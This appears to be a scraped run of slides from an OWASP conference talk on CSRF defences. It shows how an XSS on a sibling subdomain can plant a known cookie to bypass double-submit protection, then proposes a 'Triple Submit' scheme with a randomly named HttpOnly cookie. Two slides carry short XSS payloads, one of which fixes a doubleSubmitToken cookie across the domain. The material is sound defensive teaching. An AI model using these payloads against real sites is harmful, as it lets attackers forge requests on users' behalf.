Page 79: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

The Other Subdomain

Search

Buy!

https://securish.1-liner.org https://other.1-liner.org

Page 80: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

The Other Subdomain

Search<script>alert('XSS')</script>

Buy!

https://securish.1-liner.org https://other.1-liner.org

OK

XSS

Page 81: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

The Other Subdomain

Search<script> $.cookie( "doubleSubmitToken", "knownValue", { path: "/", domain: ".1-liner.org" });</script>

Buy!

https://securish.1-liner.org https://other.1-liner.org

Page 82: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Demo Subdomain XSS Double Submit

Bypass

Page 83: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

I'm proposing some sort of

Triple SubmitCSRF Protection

Page 84: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Triple Submit(CSRF protection)

Initial request ofrich internet app

Page 85: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Triple Submit(CSRF protection)

Random HttpOnly cookie

Cookie value asJavaScript variable

Page 86: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Triple Submit(CSRF protection)

Random HttpOnly cookie

Cookie value asrequest parameter

Stateful:Cookie name saved in server sessionStateless:Server only accepts one such cookie (checks format)

Page 87: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

The 3rd Submit•The server sets an HttpOnly cookie

with a random name and random value

•The server tells the client the value of the random cookie, not the name

•The client submits the value of the cookie as a request parameter

Page 88: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

The 3rd Submit•The server sets an httpOnly cookie

with a random name and random value

•The server tells the client the name and value of the random cookie

•The Client submits the name and value of the cookie as a request parameter

response.setHeader("Set-Cookie", randomName + "=" + randomValue + "; HttpOnly; path='/'; domain=.1-liner.org");

Page 89: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

The 3rd Submit•The server sets an httpOnly cookie

with a random name and random value

•The server tells the client the name and value of the random cookie

•The Client submits the name and value of the cookie as a request parameter

<script>var ANTI_CSRF_TRIPLE = <%= randomValue %>;</script>

Page 90: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

The 3rd Submit

•Cookie value as parameter

•The cookie name

•The cookie value

Page 92: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Thanks!@johnwilander